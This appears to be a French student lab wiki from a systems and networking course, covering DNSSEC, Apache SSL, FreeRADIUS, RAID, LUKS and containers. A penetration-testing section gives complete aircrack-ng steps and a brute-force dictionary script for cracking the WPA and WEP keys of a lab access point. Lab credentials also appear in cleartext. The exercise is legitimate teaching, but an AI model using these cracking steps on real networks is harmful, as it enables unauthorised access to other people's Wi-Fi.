Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
Création de la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
 :&lt;br /&gt;
Création de  la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
&lt;br /&gt;
On renomme ces clef : &lt;br /&gt;
  hercule.space-ksk.key&lt;br /&gt;
  hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Puis on les inclus dans le fichier /etc/bind/db.hercule.space&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrements de la zone :&lt;br /&gt;
  dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
  file &amp;quot;/etc/bind/db.hercule.space.signed&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hercule.space.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 Redirect / https://www.hercule.space&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
On active enfin le module SSL, notre site, et on redémarre le service apache :&lt;br /&gt;
  a2enmod ssl&lt;br /&gt;
  a2ensite hercule.space.conf&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Serveur Freeradius===&lt;br /&gt;
&lt;br /&gt;
Installation de Freeradius sur la vm :&lt;br /&gt;
  apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute : &lt;br /&gt;
  hercule Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers : &lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
  default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
  use_mppe = yes&lt;br /&gt;
  require_encryption = yes&lt;br /&gt;
  require_strong = yes&lt;br /&gt;
  with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :&lt;br /&gt;
  client 192.168.0.10/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  client 192.168.0.11/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On met à jour la configuration : &lt;br /&gt;
  ldconfig&lt;br /&gt;
&lt;br /&gt;
Et enfin, nous lançons le service freeradius :&lt;br /&gt;
  $ service freeradius restart&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite à la modification de la configuration des points d'accès afin qu'ils prennent en compte notre serveur freeradius :&lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 aaa authentication login eap_group17 group radius_group17&lt;br /&gt;
 aaa group server radius radius_group17&lt;br /&gt;
 server 193.48.57.183 auth-port 1812 acct-port 1813&lt;br /&gt;
 radius-server host 193.48.57.183 auth-port 1812 acct-port 1813 key secretIMA5SC&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 dot11 ssid Hercule&lt;br /&gt;
 vlan 17&lt;br /&gt;
 authentication open eap eap_group17&lt;br /&gt;
 authentication network-eap eap_group17&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 Mbssid Guest-mode&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 int dot11radio0&lt;br /&gt;
 Mbssid&lt;br /&gt;
 ssid Hercule&lt;br /&gt;
 encryption vlan 17 mode ciphers aes-ccm tkip&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 int dot11radio0.17&lt;br /&gt;
 encapsulation dot1Q 17&lt;br /&gt;
 bridge-group 17&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
== 5. Tests d'intrusion ==&lt;br /&gt;
===5.3 Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 charset=({0..9})&lt;br /&gt;
 permute(){&lt;br /&gt;
   (($1 == 0)) &amp;amp;&amp;amp; { echo &amp;quot;$2&amp;quot;; return; }&lt;br /&gt;
   for char in &amp;quot;${charset[@]}&amp;quot;&lt;br /&gt;
   do&lt;br /&gt;
     permute &amp;quot;$((${1} - 1 ))&amp;quot; &amp;quot;$2$char&amp;quot;&lt;br /&gt;
   done&lt;br /&gt;
 }&lt;br /&gt;
 permute &amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que nous laçons en exécutant :&lt;br /&gt;
&lt;br /&gt;
 $ ./comb.sh 8 &amp;gt;&amp;gt; dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
Le crack est effectué en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -a2 -b 04:DA:D2:9C:50:56  -w /path_to_file/dictionnaire.txt /path_to_file/*.cap&lt;br /&gt;
&lt;br /&gt;
Nous récupérons la clé après quelques heures de calcul :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack groupe7.png|600px]]&lt;br /&gt;
&lt;br /&gt;
===5.2 Cassage de clé WEP===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef012c92&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants protégés en WEP en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --channel 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlan0mon&lt;br /&gt;
&lt;br /&gt;
En parallèle, on simule une connexion au point d'accès pour récupérer le handshake : &lt;br /&gt;
 $ aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On réalise le cassage : &lt;br /&gt;
 $ aircrack-ng ./path_to_folder/cracotte07.cap&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:cassagewep07.png|600px]]&lt;br /&gt;
&lt;br /&gt;
== 6. Réalisation ==&lt;br /&gt;
&lt;br /&gt;
===6.1 Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Création de trois partitions LVM de 1Go sur Cordouan : &lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule1 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule2 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule3 -v&lt;br /&gt;
&lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :&lt;br /&gt;
&lt;br /&gt;
  'phy:/dev/virtual/hercule1,xvdc1,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule2,xvdc2,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule3,xvdc3,w'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Installation du paquetage mdadm pour réaliser le RAID5 logiciel :&lt;br /&gt;
  apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
Création du RAID5 :&lt;br /&gt;
  mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
&lt;br /&gt;
On formate le RAID créé : &lt;br /&gt;
  mkfs -t ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
On monte le RAID dans notre VM : &lt;br /&gt;
  mount /dev/md0 /mnt &lt;br /&gt;
&lt;br /&gt;
On créé un fichier sur le RAID pour qu'il contienne des données. On ferme la VM et on lui retire la partition xvdc3 dans sa config.&lt;br /&gt;
On relance la VM. Puis on essaye de remonter le RAID : &lt;br /&gt;
En voulant remonter /dev/md0, un message nous indique que md0 n'existe pas. On lance alors la commande : &lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
Et on s'aperçoit que notre RAID est toujours présent, cette fois n'ayant plus que deux disques, mais apparaît sous le nom md127. On monte alors ce derrnier : &lt;br /&gt;
  mount /dev/md127 /mnt&lt;br /&gt;
On retrouve alors bien le fichier créé initialement sur notre RAID. Lors de sa création, le fichier a été copié sur les 3 disques par le RAID. Ainsi, lorsque que nous avons supprimé un disque, cela n'a pas eu d'impact sur nos données.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Raidhercule.png|600px]]&lt;br /&gt;
&lt;br /&gt;
===6.2 Cryptage de données===&lt;br /&gt;
&lt;br /&gt;
Dans notre cas, nous n'utilisons pas une carte SD. Nous créons cependant une partition de 1 Giga sur cordouan sur laquelle on travaillera :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L 1G -n /dev/virtual/hercule-crypt -v&lt;br /&gt;
&lt;br /&gt;
Une fois cette action réalisée, et la partition intégrée au fichier de configuration de la machine virtuelle sous forme de volume, de nom xvdd1, nous récupérons les paquets lvm2 et cryptsetup.&lt;br /&gt;
Lorsque la récupération est terminée, nous sécurisons la partition de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat -c aes -h sha256 /dev/xvdd1&lt;br /&gt;
&lt;br /&gt;
Cette commande permet de formater la partiton au type LUKS et chiffre en AES avec un algorithme de hashage SHA256. Nous choisissons une phrase de chiffrement.&lt;br /&gt;
&lt;br /&gt;
Une fois la partition chiffrée, nous ouvrons un volume dans notre partition chiffrée :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/xvdd1 home&lt;br /&gt;
&lt;br /&gt;
Nous la formatons en ext4 :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs -t ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Enfin, nous montons la partition sous /mnt :&lt;br /&gt;
&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/home /mnt&lt;br /&gt;
&lt;br /&gt;
Nous y créons ensuite un fichier texte. La suite de cette partie, qui est d'échanger les cartes SD, n'est pas réalisable dans notre cas.&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=49128</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=49128"/>
				<updated>2018-12-21T18:01:40Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* 6. Réalisation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
